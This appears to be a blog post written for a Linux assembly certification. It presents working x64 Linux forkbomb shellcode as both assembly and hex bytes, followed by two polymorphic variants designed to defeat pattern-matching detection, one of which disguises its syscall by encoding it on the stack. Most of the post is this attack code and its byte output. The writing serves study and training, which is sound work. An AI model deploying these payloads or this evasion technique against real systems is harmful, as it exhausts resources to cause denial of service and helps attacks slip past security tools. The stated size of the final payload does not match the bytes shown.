x64 Linux Polymorphic forkbomb shellcode

A forkbomb is an attack payload which causes the exploited program to create new instances of itself, in a permanent loop. The end result is basically a denial of service, as the program reproduces itself so many times that there are no more system resources left to use.

On shell-storm there is a simple 7 byte forkbomb shellcode for x86. Translated to x64, it would look something like this:

forkbomb:
    push 0x39
    pop rax
    syscall
    jmp short forkbomb

This gives us the following shellcode, also 7 bytes:

\x6a\x39\x58\x0f\x05\xeb\xf9

We can do some basic polymorphing of this code.

forkbomb:
    shl eax, 0x40
    mov al, 0x38
    inc al
    syscall
    jne forkbomb

This becomes 11 bytes, which is right around 150% of the size of the original. This will defeat basic pattern matching.

\xc1\xe0\x40\xb0\x38\xfe\xc0\x0f\x05\x75\xf5

However, this still contains some of the same bytes, at the point of the syscall. I created the following polymorphic code to have a totally different footprint.

forkbomb:
    nop
    lea rcx, [rel forkbomb]

    push rcx
    shl rax, 64
    mov al, 0x38
    inc al

    push 0xc359040e
    add word [rsp], 0x0101
    push rsp
    ret

It contains no bytes that are the same as the original. It uses encoding to disguise syscall. The only reason for the nop instruction is so that the RIP-relative addressing won't contain the byte \xf9, like the original shellcode.

The new payload is 29 bytes, null-free.

\x90\x48\x8d\x0d\xf8\xff\xff\xff\x51\x48\xc1\xe0\x40\xb0\x38\xfe\xc0\x68\x0e\x04\x59\xc3\x66\x81\x04\x24\x01\x01\x54\xc3

It sets up the stack as follows, then unmasks the syscall and returns:

[&rsp]                     <-- low address
[syscall - mask 0x0101]
[pop]
[ret]
[&forkbomb]                <-- high address

Different code, same result.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE64 - 1360